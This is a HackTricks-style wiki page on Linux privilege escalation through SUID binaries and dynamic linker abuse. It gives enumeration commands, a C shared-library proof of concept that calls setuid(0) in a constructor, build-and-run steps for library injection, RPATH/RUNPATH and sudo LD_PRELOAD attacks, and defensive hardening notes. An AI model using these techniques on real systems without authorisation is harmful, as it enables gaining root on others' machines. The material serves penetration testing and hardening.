suid-shared-library-and-linker-abuse.md (9886B)
1 --- 2 title: "SUID Shared Library and Linker Abuse" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/interesting-files-permissions/suid-shared-library-and-linker-abuse.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/suid-shared-library-and-linker-abuse.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SUID Shared Library and Linker Abuse 14 15 SUID binaries are usually reviewed for direct command execution, but custom SUID programs can also be vulnerable through the dynamic linker. The common theme is simple: a privileged executable loads code from a path or configuration that a lower-privileged user can influence.<sup>[[1]](#references)</sup> 16 17 This page focuses on generic technique patterns: missing libraries, writable library directories, `RPATH`/`RUNPATH`, `LD_PRELOAD` through sudo, linker configuration, and SUID hardlink confusion. 18 19 ## Fast Enumeration 20 21 Start by finding unusual SUID files and checking whether they are dynamically linked:<sup>[[1]](#references)[[3]](#references)</sup> 22 23 ```bash 24 find / -perm -4000 -type f -ls 2>/dev/null 25 file /path/to/suid-binary 26 ldd /path/to/suid-binary 2>/dev/null 27 readelf -d /path/to/suid-binary 2>/dev/null | egrep 'NEEDED|RPATH|RUNPATH' 28 ``` 29 30 Focus on non-standard locations, custom application paths, binaries owned by root but outside package-managed directories, and dependencies loaded from writable directories.<sup>[[1]](#references)</sup> 31 32 Useful writeability checks: 33 34 ```bash 35 ldd /path/to/suid-binary 2>/dev/null 36 readelf -d /path/to/suid-binary 2>/dev/null | egrep 'RPATH|RUNPATH' 37 find / -writable -type d 2>/dev/null | head -n 50 38 ``` 39 40 ## Missing Shared Object Injection 41 42 Some custom SUID binaries try to load a shared object that does not exist. If the missing path is under a directory controlled by the attacker, the binary may load attacker-supplied code as the effective user.<sup>[[1]](#references)</sup> 43 44 Find failed library lookups with `strace`'s syscall filter:<sup>[[2]](#references)</sup> 45 46 ```bash 47 strace -f -e trace=openat,access /path/to/suid-binary 2>&1 | grep -Ei 'ENOENT|\\.so' 48 ``` 49 50 If the binary searches a writable path for `libexample.so`, a minimal proof library can use a constructor. Keep proof-of-impact harmless during validation:<sup>[[6]](#references)</sup> 51 52 ```c 53 #include <stdlib.h> 54 #include <unistd.h> 55 56 __attribute__((constructor)) 57 static void init(void) { 58 setuid(0); 59 setgid(0); 60 system("id > /tmp/suid-so-ran"); 61 } 62 ``` 63 64 Build it with the exact filename the binary tries to load: 65 66 ```bash 67 gcc -shared -fPIC proof.c -o /writable/path/libexample.so 68 /path/to/suid-binary 69 cat /tmp/suid-so-ran 70 ``` 71 72 The exploitable condition is not the missing library alone. The attacker must be able to place a compatible shared object at a path the privileged loader will accept.<sup>[[1]](#references)</sup> 73 74 ## Writable Library Directory 75 76 Sometimes all dependencies exist, but one of the directories used to resolve them is writable. This may allow replacing a loaded library or planting a higher-priority library with the same name.<sup>[[1]](#references)</sup> 77 78 Review dependency paths:<sup>[[1]](#references)[[3]](#references)</sup> 79 80 ```bash 81 ldd /path/to/suid-binary 2>/dev/null 82 readelf -d /path/to/suid-binary 2>/dev/null | egrep 'NEEDED|RPATH|RUNPATH' 83 namei -om /path/to/library.so 84 ``` 85 86 If the directory is writable, validate with a copy-safe approach in a lab. Replacing system libraries on a live host can leave concurrently starting processes with inconsistent library versions.<sup>[[8]](#references)</sup> 87 88 ## RPATH and RUNPATH 89 90 `RPATH` and `RUNPATH` are dynamic-section entries that tell the loader where to search for libraries. They are dangerous in SUID programs when they point to attacker-writable directories.<sup>[[1]](#references)</sup> 91 92 Detect them:<sup>[[3]](#references)[[10]](#references)</sup> 93 94 ```bash 95 readelf -d /path/to/suid-binary | egrep 'RPATH|RUNPATH' 96 objdump -p /path/to/suid-binary 2>/dev/null | egrep 'RPATH|RUNPATH' 97 ``` 98 99 Example risky output: 100 101 ```text 102 0x000000000000001d (RUNPATH) Library runpath: [/opt/app/lib] 103 0x0000000000000001 (NEEDED) Shared library: [libcustom.so] 104 ``` 105 106 If `/opt/app/lib` is writable and the binary needs `libcustom.so`, the attacker may be able to place a malicious `libcustom.so` there:<sup>[[1]](#references)</sup> 107 108 ```bash 109 ls -ld /opt/app/lib 110 gcc -shared -fPIC proof.c -o /opt/app/lib/libcustom.so 111 /path/to/suid-binary 112 ``` 113 114 `RPATH` and `RUNPATH` are not identical in all resolution details, but for privilege-escalation review the practical question is the same: does the SUID binary search an attacker-writable directory for a library name?<sup>[[1]](#references)</sup> 115 116 ## LD_PRELOAD, LD_LIBRARY_PATH and SUID 117 118 For normal programs, `LD_PRELOAD` and `LD_LIBRARY_PATH` can force or influence shared object loading. For SUID programs, the dynamic loader normally enters secure-execution mode and ignores dangerous environment variables.<sup>[[1]](#references)</sup> 119 120 This means a plain SUID binary is usually not vulnerable just because the user can set `LD_PRELOAD`:<sup>[[1]](#references)</sup> 121 122 ```bash 123 LD_PRELOAD=/tmp/proof.so /path/to/suid-binary 124 ``` 125 126 The common exception is a sudo policy that permits setting or preserving loader variables for the target command. Inspect `sudo -l` for entries such as `env_keep+=LD_PRELOAD` or `env_keep+=LD_LIBRARY_PATH`; if the target is dynamically linked, it may load attacker-controlled code:<sup>[[4]](#references)[[5]](#references)</sup> 127 128 ```bash 129 sudo -l 130 # Look for env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH 131 sudo LD_PRELOAD=/tmp/proof.so /allowed/command 132 ``` 133 134 Do not confuse these cases; the loader and sudo policy rules above distinguish them:<sup>[[1]](#references)[[4]](#references)[[5]](#references)</sup> 135 136 - `LD_PRELOAD` against a normal SUID binary: usually blocked by secure execution. 137 - `LD_PRELOAD` preserved by sudo: potentially exploitable. 138 - Missing `.so` in a writable path: exploitable when the SUID binary naturally loads that path. 139 - `RPATH`/`RUNPATH` to a writable directory: exploitable when a needed library can be controlled. 140 - `/etc/ld.so.preload` or linker config write access: system-wide and high impact. 141 142 ## Linker Configuration 143 144 `ld.so` uses the linker cache and `/etc/ld.so.preload`; `ldconfig` builds that cache from `/etc/ld.so.conf` and files included from it, commonly `/etc/ld.so.conf.d/`.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup> 145 146 High-value checks: 147 148 ```bash 149 ls -l /etc/ld.so.preload /etc/ld.so.conf 2>/dev/null 150 find /etc/ld.so.conf.d -type f -writable -ls 2>/dev/null 151 find /etc/ld.so.conf.d -type d -writable -ls 2>/dev/null 152 ldconfig -v 2>/dev/null | head -n 50 153 ``` 154 155 Writable linker configuration is usually more serious than a single vulnerable SUID binary because it can affect many dynamically linked processes. `/etc/ld.so.preload` is especially dangerous because it can force a shared object into privileged processes.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup> 156 157 ## SUID Hardlink Confusion 158 159 Hardlinks can make the same SUID inode appear under multiple names.<sup>[[9]](#references)</sup> This is useful for hiding a privileged helper, confusing cleanup, or bypassing naive path-based review. 160 161 Find SUID files with more than one link:<sup>[[9]](#references)</sup> 162 163 ```bash 164 find / -xdev -perm -4000 -type f -links +1 -ls 2>/dev/null 165 ``` 166 167 Inspect all paths to the same inode:<sup>[[9]](#references)</sup> 168 169 ```bash 170 stat /path/to/suid-wrapper 171 find / -xdev -samefile /path/to/suid-wrapper -ls 2>/dev/null 172 ``` 173 174 The abuse is not that a hardlink changes permissions. The abuse is path confusion: a privileged inode may be reachable through a name that defenders or scripts do not expect.<sup>[[9]](#references)</sup> For deeper inode and hardlink workflow, see [Filesystem, Inodes and Recovery](/hacktricks/linux-hardening/main-system-information/filesystem-inodes-and-recovery). 175 176 ## Defensive Notes 177 178 - Keep SUID binaries minimal, audited, and package-managed where possible. 179 - Avoid `RPATH`/`RUNPATH` entries pointing to writable or application-managed directories.<sup>[[1]](#references)[[8]](#references)</sup> 180 - Keep library directories root-owned and non-writable by regular users.<sup>[[8]](#references)</sup> 181 - Do not preserve `LD_PRELOAD`, `LD_LIBRARY_PATH`, or similar loader variables through sudo.<sup>[[1]](#references)[[5]](#references)</sup> 182 - Monitor `/etc/ld.so.preload`, `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, and unexpected SUID files.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup> 183 - Review hardlinked SUID files and investigate custom SUID wrappers outside standard system paths.<sup>[[9]](#references)</sup> 184 185 ## References 186 187 - [1] [ld.so(8) — Linux manual page](https://man7.org/linux/man-pages/man8/ld.so.8.html) 188 - [2] [strace(1) — Linux manual page](https://man7.org/linux/man-pages/man1/strace.1.html) 189 - [3] [readelf (GNU Binary Utilities)](https://sourceware.org/binutils/docs/binutils/readelf.html) 190 - [4] [sudo(8) — Linux manual page](https://www.man7.org/linux/man-pages/man8/sudo.8.html) 191 - [5] [sudoers(5) — Linux manual page](https://man7.org/linux/man-pages/man5/sudoers.5.html) 192 - [6] [Common Attributes (GCC)](https://gcc.gnu.org/onlinedocs/gcc/Common-Attributes.html) 193 - [7] [ldconfig(8) — Linux manual page](https://man7.org/linux/man-pages/man8/ldconfig.8.html) 194 - [8] [Dynamic Linker Hardening (The GNU C Library)](https://www.sourceware.org/glibc/manual/latest/html_node/Dynamic-Linker-Hardening.html) 195 - [9] [Hard Links (GNU Findutils)](https://www.gnu.org/software/findutils/manual/html_node/find_html/Hard-Links.html) 196 - [10] [objdump (GNU Binary Utilities)](https://www.sourceware.org/binutils/docs/binutils/objdump.html)